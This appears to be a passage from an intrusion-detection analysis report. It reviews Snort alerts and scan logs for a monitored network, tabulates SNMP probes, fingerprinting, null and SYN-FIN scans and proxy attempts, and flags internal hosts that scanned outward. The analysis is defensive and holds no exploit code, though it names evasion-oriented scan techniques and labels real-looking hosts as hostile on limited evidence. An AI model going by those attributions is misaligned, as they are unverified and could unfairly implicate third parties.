MY.NET.100.230	11	808	3	15

SNMP public access

SNMP can be used as a network monitoring system but it can also be used to gather information about systems through the snmpget command. A flag is raised as to why a system at Purdue University would attempt to be monitoring three hosts on the GIAC network. This needs to be investigated.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
128.46.156.231 (ece156-dhcp-2.ecn.purdue.edu)	161	161	3	3

Alerts

```
01/10-16:34:49.681860 [**] SNMP public access [**] 128.46.156.231:3613->
MY.NET.100.143:161
01/12-09:31:41.697088 [**] SNMP public access [**] 128.46.156.231:1030->
MY.NET.100.206:161
01/12-09:32:10.408144 [**] SNMP public access [**] 128.46.156.231:1096->
MY.NET.100.99:161
```

Queso fingerprint

Queso is another program that attempts to determine OS type. Seems like GIAC had some good friends in Dresden, Germany.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
monitor.dslreports.com	204	204	1	1
63.78.39.192	144	144	12	12
192.dsl7839.rcsis.com	49	49	2	2
x07r5c.wh2.tu-dresden.de	41	41	3	3
x14l1a.wh2.tu-dresden.de	30	30	4	4
x08m1a.wh2.tu-dresden.de	26	26	1	1
x09r5b.wh2.tu-dresden.de	23	23	3	3
pool4047.studentenheim.uni-tuebingen.de	21	21	5	5
zz2123.staff.digex.net	19	19	4	4
x09l2a.wh2.tu-dresden.de	15	15	4	4

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.219.114	204	205	1	2
MY.NET.201.130	127	2047	10	17
MY.NET.201.62	51	55	7	11
MY.NET.204.38	39	41	1	3
MY.NET.223.226	38	42	2	6
MY.NET.224.242	37	39	2	4
MY.NET.201.66	28	34	7	12
MY.NET.202.46	20	26	4	8
MY.NET.53.108	16	17	2	3
MY.NET.60.8	10	243	1	115

Null scan!

These are packets that don't have any flags set. These are not normal packets and is very indicative of a crafted packet. It is interesting to see all the source IPs from splitrock.net domain. It makes you wonder if they have been compromised and are being used as a launch site for other scans.

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
A030-0650.MLE2.splitrock.net	19	19	3	3
cr518339-a.wlfdle1.on.wave.home.com	16	16	1	1
A010-0680.MLE2.splitrock.net	11	11	2	2
A010-0679.MLE2.splitrock.net	10	10	1	1
A050-0529.LAUR.splitrock.net	9	9	1	1
A030-0665.MLE2.splitrock.net	9	9	1	1
A050-0798.LAUR.splitrock.net	8	8	1	1
cr859517-a.surrey1.bc.wave.home.com	8	13	2	2
A030-0655.MLE2.splitrock.net	7	7	1	1
A050-1175.LAUR.splitrock.net	7	7	1	1

Sun RPC high port access

Most communications with Sun RPC ports are done via portmapper on port 111. However, in order to avoid detection on port 111, it is possible to interact directly with high RPC ports directly. This is an indication of suspicious activity. As indicated before, there are dangerous vulnerabilites associated with Sun RPC services. Again, it is interesting to note that the top 10 list of this attack is from icq servers at aol.com.

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
fes-d004.icq.aol.com	570	570	4	4
fes-d012.icq.aol.com	493	493	4	4
fes-d010.icq.aol.com	398	398	4	4
fes-d008.icq.aol.com	154	154	4	4
fes-d005.icq.aol.com	150	150	2	2
fes-d006.icq.aol.com	73	73	2	2
fes-d009.icq.aol.com	63	63	4	4
fes-d015.icq.aol.com	59	59	2	2

Network packet from MetroNet	45	45	1	1
fes-d002.icq.aol.com	24	24	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.213.158	556	663	9	19
MY.NET.222.218	434	439	1	4
MY.NET.97.213	224	230	1	7
MY.NET.223.106	221	224	1	4
MY.NET.224.138	214	215	1	2
MY.NET.105.115	90	91	3	4
MY.NET.97.208	78	81	1	4
MY.NET.98.238	57	60	2	5
MY.NET.221.130	45	46	1	2
MY.NET.97.96	44	46	1	3

Wingate 1080 Attempt

Wingate is a service that allows one Internet connection to be shared by multiple users. There are some known vulnerabilities associated with Wingate servers. If GIAC is not running any proxie servers, it would be wise to block port 1080 at the border router.

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
watto.fdt.net	111	111	71	71
Network address of AT&T ITS	91	91	83	83
ProxyScan.MD.US.Undernet.Org	91	91	74	74
security.enterthegame.com	67	67	26	26
Network address of ONLINE-KIOSK GmbH, Germany	65	65	27	27
proxy.monitor.twisted.ma.us.dal.net	55	55	31	31

Network address of Verio, Inc.	52	52	35	35
top100.rambler.ru	51	51	15	15
fox3.foxlink.net	44	44	32	32
philly.pa.us.dal.net	41	41	33	33

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.60.8	134	243	43	115
MY.NET.208.22	110	112	7	9
MY.NET.60.11	96	1457	35	140
MY.NET.60.38	95	154	34	75
MY.NET.15.178	75	79	37	41
MY.NET.202.94	54	5253	11	20
MY.NET.60.16	47	137	23	63
MY.NET.100.203	41	42	9	10
MY.NET.201.146	33	35	6	8

Watchlist 000222 Net-NCFC/Watchlist 000220 IL-ISDNNET-990517

These appear to be localized Snort rules that were logging connections from specific networks in China (159.226.x.x) and Israel (212.179.x.x). These specific nets are prone to generate suspecious traffic and are on the watchlist. Even though these are specifically tagged, all external IP addresses outside our domain should be construed as hostile. These Snort rules generated more alerts than any other rule, however, if one were to target any entire class B or C on the internet, chances are there would be many hits as well. It is always wise to keep a watchful eye out for known evasive nets.

connect to 515 from outside

IP 209.217.166.69 did a printer (port 515) scan against our MY.NET subnets. Again, should we be allowing any printer connections to outside hosts? Another prime candidate port to block at our border router.

Sources triggering this attack signature

	# Alerts	# Alerts	# Dsts	# Dsts

Source	(sig)	(total)	(sig)	(total))
vishuman28.us.itd.umich.edu	2236	2236	2195	2195
216-119-15-88.o1.jps.net	1273	1273	4	4
209.217.166.69 (Network address from Verio, Inc.	713	713	710	710

Tiny Fragments - Possible Hostile Activity

Tiny fragmented packets typically are up to no good. They can be used for Denial of Service type attacks or for reconnaissance mapping. They can also be used to avoid detection since most IDS don't refragment the packets to thoroughly examine the payload. It is interesting to note that all but one of the top ten sources on this alert were from China.

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
c1295667-a.fedwy1.wa.home.com	733	733	2	2
Network address from Tsinghua Network, China	521	521	1	1
Network address from Shanghai Long Distance Telecom, China	460	460	2	2
Network address from XIAN CITY SHAANXI PROVINCE	458	458	3	3
61.140.75.3 (Network address from China Telecom)	415	415	2	2
Network address from CHINANET Zhejiang	391	391	2	2
Network address from Jitong Communications, China	385	385	3	3
202.108.43.152 Network address from CHINANET Beijing, China	326	326	3	3
202.108.43.151 (Network address from CHINANET Beijing, China)	286	286	3	3
61.140.75.5 (Network address from China Telecom)	285	285	2	2

Top five Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.1.8	3148	3219	17	31

MY.NET.1.10	1264	1279	14	22
MY.NET.217.162	727	733	1	6
MY.NET.60.11	168	1457	2	140

DNS udp DoS attack described on unisog

This rule was in place due to the DNS udp Denial of Service attacks described by Gene Runion. As detailed below in the tables, one host generated incredible amounts of DNS queries to three of our hosts.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
209.67.50.203	16132	16132	3	3

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.1.3	5411	5452	1	13
MY.NET.1.4	5390	5408	1	10
MY.NET.1.5	5331	5352	1	8

SYN-FIN scan!

To say the least, GIAC was scanned using the well-known SYN-FIN scan. With both the SYN and FIN TCP flags set, this type of scan utlizes these crafted packets to scan for open services. Hackers hope that this type of scan will try to sneak past firewalls or IDS's. However, today, most IDS's easily pick up this annomoly.

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
YousuBooyoungGirl`sHighSchool, Korea	17604	17604	17604	17604
DataNet Tavkozlesi Kft., Hungary	9878	9878	9878	9878
Global One Services, Sweden	8565	8565	8565	8565
dhcp-2157.eee.hku.hk	4096	4096	4096	4096
UNINET, Estonia	3052	3052	3052	3052

alphac.lnk.telstra.net, Australia	1951	1951	1914	1914
server.7setembro.com.br	1790	1790	1790	1790
www.turunhippos.fi	1580	1580	1580	1580
adsl-63-204-152-253.dsl.snfc21.pacbell.net	1242	1242	1242	1242
ABoulogne-102-1-5-9.abo.wanadoo.fr	706	706	706	706

Top 5 SYN-FIN scanned ports

Port	# SYN-FIN Scans
53	18863
21	21604
109	9099
9055	1580
25	29

Given the wide range of scans against GIAC, it is almost certain that some hosts have been compromised. Without knowing that network architecture (firewalls, etc.), it is a good idea to do a thorough vulnerabiltiy assessment of GIAC.

Snort is a good tool but it is not perfect. A good example is with SYN-FIN alerts and portscans. The majority of the SYN-FIN scans didn't get picked up by the portscan pre-processor.

3. Snort Scan logs

This is an analysis of SnortS* (scan files.) I modified the find_scan.pl script from the SHADOW IDS system. I had previously written a script that would parse Firewall-1 log files and looked for scans. This effort is a modification of my Firewall-1 script (gscan.pl.) It should be noted that there was a threshold of a minimum of 25 hosts used to reduce the number of possible false positives.

Date	Hostile IP Address	Hostile Host Name	Hostile Host Desc.	Scan Type
12/5/00	12.77.204.44	nFQDN	AT&T ITS, Middletown, NJ	Port 1080 scan
01/15/01	24.16.226.221	c188045-a.sttln1.wa.home.com	@Home Network	Port 21 scan
12/21/00	24.191.63.215	ool-18bf3fd7.dyn.optonline.net	Cablevision Systems Corp	Port 21 scan
01/12/01	24.226.126.93	d226-126-93.home.cgocable.net	Cogeco Cable Solutions	Port 27374 scar
			Deutsche Telekom AG,	

12/27/00	62.158.92.101	p3E9E5C65.dip.t-dialin.net	DE	Port 21 scan
12/27/00	62.158.93.109	p3E9E5D6D.dip.t-dialin.net	Deutsche Telekom AG, DE	Port 21 scan
12/29/00	62.226.88.105	p3EE25869.dip.t-dialin.net	Deutsche Telekom AG, DE	Port 21 scan
12/21/00	62.227.243.120	p3EE3F378.dip.t-dialin.net	Deutsche Telekom AG, DE	Port 21 scan
12/29/00	63.11.25.117	1Cust117.tnt1.yakima.wa.da.uu.net	UUNET Technologies, Inc., Fairfax, va	Port 31337,1,23,25,53,11 scan
12/7/00	63.162.1.7	redhat1.iexcel.com	UUNET Technologies, Inc., Fairfax, va	Port 1 scan
12/28/00	63.204.152.253	adsl-63-204-152-253.dsl.snfc21.pacbell.net	Yelena Lunskaya, Fairfax, va	Port 53 scan
01/9/01	63.226.117.87	nFQDN	NETPOINT, Fairfax, va	Port 53 scan
01/15/01	63.229.92.11	Norchem.DSL.InfoMagic.NET	Infomagic, Fairfax, va	Port 21 scan
12/25/00	64.5.206.84	64.5.206.84	Screen Ad	Port 21 scan
01/8/01	64.92.1.123	nFQDN	NuTel Packet Communications, Seattle, WA	Port 53 scan
12/8/00	64.161.240.254	adsl-64-161-240-254.dsl.lsan03.pacbell.net	Pacific Bell Internet Services,Inc.,B 2 B MARKETS COM INC	Port 21,25,53,110 s
12/7/00	64.162.102.156	adsl-64-162-102-156.dsl.lsan03.pacbell.net	Pacific Bell Internet Services,Inc.,ACENTIA INC	Port 5232 scan
12/21/00	64.167.160.235	adsl-64-167-160-235.dsl.sndg02.pacbell.net	Pacific Bell Internet Services,Inc., San Ramon, CA	Port 21 scan
01/3/01	130.67.37.2	ti06a21-0002.dialup.online.no	Norsk Data A/S, Oslo, Norway N-	Port 27374 scar
01/2/01	130.67.37.67	ti06a21-0067.dialup.online.no	Norsk Data A/S, Oslo, Norway N-	Port 27374 scar
01/2/01	131.161.49.140	nFQDN	Webster Computer Corporation Pty. Ltd. Berkeley, California	Port 27374 scar
12/12/00	132.68.37.141	far-rodrigo.cs.technion.ac.il	Technion, Haifa IL	Port 21 scan
12/25/00	133.1.36.184	nFQDN	Japan Network Information Center, Tokyo, -	Port 21 scan
			Ministry of Education	

01/3/01	140.128.123.5	nFQDN	Computer Center	Port 5232 scan
01/11/01	146.203.28.14	synapse.cns.mssm.edu	Mount Sinai School of Medicine, New York, NY	Port 21 scan
12/10/00	147.8.182.157	dhcp-2157.eee.hku.hk	University of Hong Kong	Port 109 scan
12/9/00	193.89.241.53	cpe.atm0-0-0-138170.boanxx2.customer.tele.dk	Tele Danmark, DK	Port 21 scan
12/27/00	193.159.98.85	pC19F6255.dip.t-dialin.net	Deutsche Telekom AG, DE	Port 21 scan
12/9/00	194.204.224.131	nFQDN	AS Nosper Ltd., Estonia	Port 109 scan
12/13/00	200.194.102.99	server.7setembro.com.br	Educadora Sete de Setembro Ltda, Brazil	Port 21 scan
01/2/01	202.122.222.162	ip222162.igreatlink.com	Affirm Score Ltd., Hong Kong	Port 98 scan
12/20/00	203.167.136.180	203-167-136-180.dialup.clear.net.nz	CLEAR Communications Ltd, Auckland NZ	Port 12346 scan
01/9/01	203.200.16.100	nFQDN	Videsh Sanchar Nigam Ltd - India.	Port 1 scan
01/15/01	205.188.146.23	www2.aol.com	America Online, Inc, Sterling, VA	Port 45722 scan
01/3/01	208.247.125.118	125door118.door.net	The Door to the Internet, Sterling, VA	Port 12345 scan
12/9/00	209.94.199.202	cuscon1096.tstt.net.tt	Telecommunications Services of Trinidad and Tobago Ltd, Port-of-Spain TT	Port 31337 scan
12/16/00	209.173.39.242	nFQDN	Aeneas Internet Services, LLC, Jackson, TN	Port 21 scan
12/17/00	209.217.166.69	nFQDN	Verio, Inc., Englewood, CO	Port 515 scan
12/31/00	210.96.87.189	nFQDN	Chang-su Elementary School, Korea	Port 53 scan
01/8/01	210.227.130.243	topic.webtop.co.jp	WEBTOP Inc., JP	Port 555 scan
01/3/01	212.64.74.169	3dyn169.vnd.casema.net	EuroNet Internet, NL	Port 21 scan
12/25/00	212.187.94.162	c94162.upc-c.chello.nl	The Netherlands, NL	Port 21 scan

12/7/00	212.198.183.99	s099.dhcp212-183.cybercable.fr	Paris, FR	Port 21 scan
01/1/01	212.242.209.22	port21.cvx1-fs.ppp.cybercity.dk	CyberCity DK, DK	Port 21 scan
12/25/00	213.8.232.140	diup-232-140.inter.net.il	PROVIDER, IL	Port 21 scan
12/25/00	213.8.233.203	diup-233-203.inter.net.il	PROVIDER, IL	Port 21 scan
01/2/01	213.51.67.218	nFQDN	@Home Benelux, NL	Port 21 scan
01/3/01	216.6.8.25	nFQDN	Boxpool.com, NL	Port 21 scan
01/1/01	216.17.174.253	apoxx253.dsl.frii.net	Matrix Integrated Solutions, NL	Port 21 scan
01/1/01	217.80.182.182	pD950B6B6.dip.t-dialin.net	Deutsche Telekom AG, DE	Port 21 scan
12/17/00	12.77.198.3	nFQDN	AT&T ITS, Middletown, NJ	Port scan of MY.NET.15.17
12/21/00	24.3.0.36	proxy1.hwrd1.md.home.com	@Home Network, Middletown, NJ	Port scan of MY.NET.97.16
01/12/01	24.3.0.37	proxy2.hwrd1.md.home.com	@Home Network, Middletown, NJ	Port scan of MY.NET.97.74
01/11/01	24.3.27.119	cc27167-a.catv1.md.home.com	@Home Network, Middletown, NJ	Port scan of MY.NET.181.8
01/8/01	24.3.29.129	cc909081-a.catv1.md.home.com	@Home Network, Middletown, NJ	Port scan of MY.NET.60.8
12/5/00	24.4.196.167	cc32281-a.etntwn1.nj.home.com	@Home Network, Middletown, NJ	Port scan of MY.NET.223.8
12/5/00	24.29.40.11	cm-24-29-40-11.nycap.rr.com	ServiceCo LLC - Road Runner, Herndon, VA	Port scan of MY.NET.223.8
12/6/00	24.165.198.86	HubC-mcr-24-165-198-86.midsouth.rr.com	ServiceCo LLC - Road Runner, Herndon, VA	Port scan of MY.NET.206.22
12/6/00	24.180.134.156	cc349491-a.hwrd1.md.home.com	@Home Network	Port scan of MY.NET.201.7
12/9/00	38.194.76.35	nFQDN	@Home Network	Port scan of MY.NET.97.19

12/29/00	62.0.135.67	ras15-p67.rvt.netvision.net.il	Israel, IL	Port scan of MY.NET.97.20
12/10/00	63.215.156.163	dialup-63.215.156.163.Washington1.Level3.net	Level 3 Communications, LLC, Louisville, CO	Port scan of MY.NET.226.13
01/15/01	63.229.92.11	Norchem.DSL.InfoMagic.NET	Infomagic, Louisville, CO	Port scan of MY.NET.27.15
12/24/00	64.12.104.134	dns-mtc-td.proxy.aol.com	America Online, Inc., Manassas, VA	Port scan of MY.NET.97.20
12/8/00	64.23.4.67	chimay.skynetweb.com	SkyNetWEB, Ltd	Port scan of MY.NET.70.37
01/13/01	64.86.56.85	nFQDN	Netsol eReady, Inc.	Port scan of MY.NET.60.11
12/8/00	64.161.240.254	adsl-64-161-240-254.dsl.lsan03.pacbell.net	Pacific Bell Internet Services,Inc.	Port scan of MY.NET.208.18
12/28/00	66.20.207.21	adsl-20-207-21.msy.bellsouth.net	BellSouth.net Inc., Atlanta, GA	Port scan of MY.NET.98.18
12/6/00	128.2.83.161	MVL.REM.CMU.EDU	Carnegie-Mellon University, Pittsburgh, PA	Port scan of MY.NET.208.7
01/2/01	128.244.27.166	vicksd1.jhuapl.edu	Johns Hopkins University, Laurel, MD	Port scan of MY.NET.60.8
12/12/00	129.2.244.29	pink.student.umd.edu	University of Maryland, College Park, MD	Port scan of MY.NET.204.10
01/15/01	134.192.143.247	nFQDN	University of Maryland at Baltimore, Baltimore, MD	Port scan of MY.NET.60.8
12/31/00	144.51.17.1	calvin.relay.ncsc.mil	National Computer Security Center, Fort George G. Meade, MD -	Port scan of MY.NET.98.17
12/17/00	147.208.171.139	security.norton.com	Symantec Corporation,	Port scan of MY.NET.97.10
01/15/01	151.23.31.21	nt2.gamearena.it	European Regional Internet Registry/RIPE	Port scan of MY.NET.217.14
01/2/01	151.23.31.22	nt3.gamearena.it	European Regional Internet Registry/RIPE	Port scan of MY.NET.219.16

01/15/01	151.23.31.23	nt4.gamearena.it	European Regional Internet Registry/RIPE	Port scan of MY.NET.217.14
12/25/00	151.196.73.156	nFQDN	Windermer Information Systems Technology,	Port scan of MY.NET.253.11
12/30/00	152.163.206.134	dns-tk.proxy.aol.com	America Online, Reston, VA	Port scan of MY.NET.97.16
12/5/00	162.33.131.82	crusher-01.dslbr.toad.net	America Online, Reston, VA	Port scan of MY.NET.226.7
01/8/01	162.33.180.192	nFQDN	America Online, Reston, VA	Port scan of MY.NET.253.12
12/27/00	192.103.63.99	ns-e.ans.net	ANS CO+RE Systems, Inc., Elmsford, NY	Port scan of MY.NET.98.19
01/15/01	194.177.103.35	nFQDN	I.Net Customer Nets block, IT	Port scan of MY.NET.217.14
12/16/00	194.244.78.145	nFQDN	TIPNET-ITALY-BLK-2, IT	Port scan of MY.NET.220.2
01/8/01	195.145.12.16	nFQDN	Rudolstadt/Germany, DE	Port scan of MY.NET.217.9
12/12/00	202.10.162.68	cpe-202-10-162-68.wol.austar.net.au	AUSTARISP-AP, Australia	Port scan of MY.NET.207.15
12/13/00	202.10.162.186	cpe-202-10-162-186.wol.austar.net.au	AUSTARISP-AP, Australia	Port scan of MY.NET.207.15
12/27/00	204.148.68.29	ns-n.ans.net	ANS CO+RE Systems, Inc., Elmsford, NY	Port scan of MY.NET.98.19
01/15/01	205.188.146.23	www2.aol.com	America Online, Inc, Sterling, VA	Port scan of MY.NET.5.99
01/12/01	206.71.103.1	hh1103001.direcpc.com	DirecPC, Sterling, VA	Port scan of MY.NET.225.21
12/21/00	207.29.192.114	drew.behind-the-scene.com	NetReach, Inc., Ambler, PA	Port scan of MY.NET.221.15
			Erol's Internet Services,	Port scan of

01/3/01	207.172.3.10	ns3.dns.rcn.net	Springfield, VA	MY.NET.98.16
01/9/01	207.172.3.11	ns4.dns.rcn.net	Erol's Internet Services, Springfield, VA	Port scan of MY.NET.97.82
12/31/00	207.217.77.82	rns2.earthlink.net	EarthLink Network, Inc., Pasadena, CA	Port scan of MY.NET.98.10
12/9/00	209.94.199.202	cuscon1096.tstt.net.tt	Telecommunications Services of Trinidad and Tobago Ltd, Port-of-Spain TT	Port scan of MY.NET.60.15
01/3/01	209.244.0.3	resolver1.level3.net	Level 3 Communications, LLC, Louisville, CO	Port scan of MY.NET.97.24
01/2/01	209.244.239.3	nFQDN	Level 3 Communications, LLC, Louisville, CO	Port scan of MY.NET.1.26
01/2/01	212.224.28.210	nFQDN	EASYNET DV GmbH, DE	Port scan of MY.NET.219.16
01/15/01	213.140.4.75	nFQDN	Fastweb Networks block, IT	Port scan of MY.NET.217.14
01/15/01	213.221.174.134	nFQDN	Barrys World, GB	Port scan of MY.NET.217.14
01/15/01	213.228.136.250	nFQDN	Cabovisao SA - Internet Provider, PT	Port scan of MY.NET.217.14
12/30/00	216.99.200.242	securedesign.net	Aracnet Internet Services, Beaverton, OR -	Port scan of MY.NET.202.9

Analyzing the alert and scan logs proved very interesting. Especially for the few internal MY.NET hosts that did some scanning themselves. This could indicate compromised boxes or very malicious users. Again, I ran my perl script against the Scan logs where MY.NET was src IP which helped tremendously in analyzing the data.

MY.NET.70.38

This box is definitely suspect. GIAC needs to take a close long look at this one. It scanned subnet 0 for printer ports as well as a NMAP TCP ping.

Supporting logs

```
01/18-14:27:56.251483  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:28:04.964171  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
```

```
01/18-14:28:38.544677  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:29:03.573081  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:29:12.724763  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:29:27.512340  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:29:59.222497  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:32:34.871510  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:32:48.310398  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
01/18-14:33:23.310908  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.(
..

01/18-14:28:22.472974  [**] connect to 515 from inside [**] MY.NET.70.38:3426
01/18-14:28:24.123071  [**] connect to 515 from inside [**] MY.NET.70.38:3430
01/18-14:28:24.942788  [**] connect to 515 from inside [**] MY.NET.70.38:3432
01/18-14:30:41.982934  [**] connect to 515 from inside [**] MY.NET.70.38:3466
01/18-14:30:51.212661  [**] connect to 515 from inside [**] MY.NET.70.38:3471
01/18-14:32:70.380388  [**] connect to 515 from inside [**] MY.NET.70.38:3477
01/18-14:33:40.322959  [**] connect to 515 from inside [**] MY.NET.70.38:3503
01/18-14:34:53.859927  [**] connect to 515 from inside [**] MY.NET.70.38:3518
01/18-14:36:21.961442  [**] connect to 515 from inside [**] MY.NET.70.38:3533
01/18-14:39:10.810417  [**] connect to 515 from inside [**] MY.NET.70.38:3569
```

MY.NET.97.194

This host scanned 128.11.20.140 (baldur.won.net) using a source port of 1033. This is a suspect port associated with NT INETINFO.EXE CPU Exploit or Netspy. One might want to check this host over very carefully as well.

Supporting logs

```
Dec 27 13:15:47 MY.NET.97.194:1033 -> 128.11.20.140:19609 UDP
Dec 27 13:15:47 MY.NET.97.194:1033 -> 128.11.20.140:19610 UDP
Dec 27 13:15:47 MY.NET.97.194:1033 -> 128.11.20.140:19611 UDP
Dec 27 13:15:47 MY.NET.97.194:1033 -> 128.11.20.140:19612 UDP
Dec 27 13:15:47 MY.NET.97.194:1033 -> 128.11.20.140:19613 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19600 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19601 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19602 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19603 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19604 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19605 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19606 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19607 UDP
Dec 27 13:15:48 MY.NET.97.194:1033 -> 128.11.20.140:19608 UDP
```

MY.NET.98.238

MY.NET.98.238 is up to no good. It did a SubSeven scan (port 27374) on 172.147 netblock (America Online, Inc.). It scanned 5,779 hosts on 41 different subnets.

Supporting logs

```
Jan 15 11:43:51 MY.NET.98.238:1410 -> 172.147.5.6:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1411 -> 172.147.5.7:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1413 -> 172.147.5.9:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1416 -> 172.147.5.12:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1421 -> 172.147.5.17:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1429 -> 172.147.5.25:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1431 -> 172.147.5.27:27374 SYN **S*****
Jan 15 11:43:51 MY.NET.98.238:1433 -> 172.147.5.29:27374 SYN **S*****
```

MY.NET.163.17

Got MY.NET.163.17 doing a portscan (803 ports) of 148.243.214.7 (na-148-243-214-7.na.avantel.net.mx).

Supporting logs

```
Dec 20 21:53:30 MY.NET.163.17:2398 -> 148.243.214.7:614 SYN **S*****
Dec 20 21:53:30 MY.NET.163.17:2401 -> 148.243.214.7:977 SYN **S*****
Dec 20 21:53:31 MY.NET.163.17:2419 -> 148.243.214.7:278 SYN **S*****
Dec 20 21:53:31 MY.NET.163.17:2421 -> 148.243.214.7:816 SYN **S*****
Dec 20 21:53:32 MY.NET.163.17:2440 -> 148.243.214.7:1665 SYN **S*****
Dec 20 21:53:32 MY.NET.163.17:2442 -> 148.243.214.7:264 SYN **S*****
Dec 20 21:53:32 MY.NET.163.17:2445 -> 148.243.214.7:425 SYN **S*****
Dec 20 21:53:32 MY.NET.163.17:2447 -> 148.243.214.7:239 SYN **S*****
```

MY.NET.70.175

Another portscan (784 ports) from MY.NET.70.175 to 209.195.220.178 (WARNERFINANCIALGROUP.COM)

Supporting logs

```
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:133 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:1361 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:1369 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:1378 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:138 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:13 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:1458 SYN **S*****
Jan 15 11:25:13 MY.NET.70.176:45842 -> 209.195.220.178:149 SYN **S*****
```

MY.NET.70.163

Another portscan (981 ports) from MY.NET.70.163 to 24.3.45.174 (cc265407-a.hwrd1.md.home.com)

Supporting logs

```
Jan  3 15:18:57 MY.NET.70.163:36358 -> 24.3.45.174:72 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:1000 SYN **S*****
```

```
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:1424 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:1667 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:2026 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:25 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:27444 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:31337 SYN **S*****
Jan  3 15:18:58 MY.NET.70.163:36356 -> 24.3.45.174:464 SYN **S*****
```

MY.NET.60.16

MY.NET.60.16 performed a udp portscan (5,327 ports) on 216.15.60.112 (picard.cmf.nrl.navy.mil)

Supporting logs

```
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10279 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10296 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10352 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10353 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10514 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10723 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:10852 UDP
Dec 28 13:23:53 MY.NET.60.16:1298 -> 216.15.60.112:11255 UDP
```

MY.NET.210.146

MY.NET.210.146 performed a port 59 (possible IRC trojan DMSetup) scan of 196 hosts at various locations on the Internet.

Supporting logs

```
Dec 16 23:01:29 MY.NET.210.146:1130 -> 216.183.252.46:59 SYN **S*****
Dec 16 23:01:29 MY.NET.210.146:1137 -> 204.50.141.184:59 SYN **S*****
Dec 16 23:01:29 MY.NET.210.146:1140 -> 62.45.65.178:59 SYN **S*****
Dec 16 23:01:29 MY.NET.210.146:1141 -> 138.87.65.70:59 SYN **S*****
Dec 16 23:01:29 MY.NET.210.146:1142 -> 207.50.90.34:59 SYN **S*****
